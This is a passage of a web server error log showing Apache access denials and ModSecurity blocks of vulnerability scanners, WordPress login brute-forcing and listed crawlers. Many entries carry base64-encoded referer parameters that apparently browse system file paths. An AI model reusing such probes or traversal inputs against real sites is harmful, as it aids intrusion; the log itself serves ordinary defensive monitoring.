[pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:28.909715 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:29.003048 2026] [security2:error] [pid 531155:tid 531228] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/__phpinfo.php"] [unique_id "ai3yKSmiP80klyS0NnoQYgABfUg"] [Sat Jun 13 18:13:29.082541 2026] [access_compat:error] [pid 531155:tid 531243] [remote 57.141.14.104:20618] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:29.082827 2026] [access_compat:error] [pid 531155:tid 531243] [remote 57.141.14.104:20618] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:29.111682 2026] [security2:error] [pid 531155:tid 531158] [remote 17.246.19.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKSmiP80klyS0NnoQbAABbgI"] [Sat Jun 13 18:13:29.435606 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.33:55503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:29.435925 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.33:55503] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:29.449158 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:13:29.449593 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:13:29.598671 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.32:45149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:29.598972 2026] [access_compat:error] [pid 531155:tid 531177] [remote 57.141.14.32:45149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:29.750114 2026] [security2:error] [pid 531155:tid 531175] [remote 208.109.188.137:43228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.188.109.208.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "britishclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3yKSmiP80klyS0NnoQjwABOhM"] [Sat Jun 13 18:13:29.816040 2026] [security2:error] [pid 531155:tid 531189] [remote 17.22.253.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKSmiP80klyS0NnoQkgABaSE"] [Sat Jun 13 18:13:29.979512 2026] [security2:error] [pid 531155:tid 531274] [remote 17.22.253.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKSmiP80klyS0NnoQnQABbHY"] [Sat Jun 13 18:13:30.023189 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMA== [Sat Jun 13 18:13:30.023623 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMA== [Sat Jun 13 18:13:30.187956 2026] [security2:error] [pid 531155:tid 531160] [remote 17.241.227.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKimiP80klyS0NnoQqAABgQQ"] [Sat Jun 13 18:13:30.197216 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.100:41613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:30.200101 2026] [access_compat:error] [pid 531155:tid 531162] [remote 57.141.14.100:41613] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:30.311260 2026] [security2:error] [pid 531155:tid 531398] [client 114.119.135.96:30385] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.captpeacock.com"] [uri "/blog/cart"] [unique_id "ai3yKimiP80klyS0NnoQswAAAXs"], referer: https://www.captpeacock.com/blog/cart?remove_item=b7087c1f4f89e63af8d46f3b20271153 [Sat Jun 13 18:13:30.536856 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.60:22578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:30.537307 2026] [access_compat:error] [pid 531155:tid 531272] [remote 57.141.14.60:22578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:30.550852 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:13:30.551311 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:13:30.633760 2026] [security2:error] [pid 531155:tid 531196] [remote 17.241.75.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKimiP80klyS0NnoQwwABSyg"] [Sat Jun 13 18:13:30.830461 2026] [core:error] [pid 531155:tid 531338] [client 47.79.206.97:1846] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:30.830498 2026] [core:error] [pid 531155:tid 531338] [client 47.79.206.97:1846] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:13:30.925314 2026] [security2:error] [pid 531155:tid 531192] [remote 17.22.245.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKimiP80klyS0NnoQ1AABPSQ"] [Sat Jun 13 18:13:30.948374 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.71:42516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:30.948665 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.71:42516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:31.083645 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2Ux [Sat Jun 13 18:13:31.084134 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2Ux [Sat Jun 13 18:13:31.103441 2026] [security2:error] [pid 531155:tid 531168] [remote 17.246.19.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKymiP80klyS0NnoQ6AABaAw"] [Sat Jun 13 18:13:31.318010 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.59:37527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:31.318454 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.59:37527] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:31.341821 2026] [security2:error] [pid 531155:tid 531157] [remote 17.241.227.115:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 115.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKymiP80klyS0NnoQ-wABgQE"] [Sat Jun 13 18:13:31.574368 2026] [security2:error] [pid 531155:tid 531328] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug44098.phpt"] [unique_id "ai3yKymiP80klyS0NnoRCAAAATU"] [Sat Jun 13 18:13:31.585368 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:31.585814 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:13:31.783416 2026] [security2:error] [pid 531155:tid 531375] [client 114.119.150.92:48651] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "dentiststudygroup.com"] [uri "/docs/7v5baj.php"] [unique_id "ai3yKymiP80klyS0NnoRGQAAAWQ"], referer: https://dentiststudygroup.com/docs/7v5baj.php?72cdf4=joule-to-newton [Sat Jun 13 18:13:31.789003 2026] [security2:error] [pid 531155:tid 531320] [client 114.119.145.115:65171] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.codeproblem.com"] [uri "/whiteboard/id/68561"] [unique_id "ai3yKymiP80klyS0NnoRGwAAAS0"], referer: http://ftp.codeproblem.com/whiteboard/id/68561 [Sat Jun 13 18:13:31.809135 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.111:49408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:31.809498 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.111:49408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:31.912622 2026] [security2:error] [pid 531155:tid 531246] [remote 17.22.237.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yKymiP80klyS0NnoRIQABGFo"] [Sat Jun 13 18:13:32.125727 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:13:32.126030 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 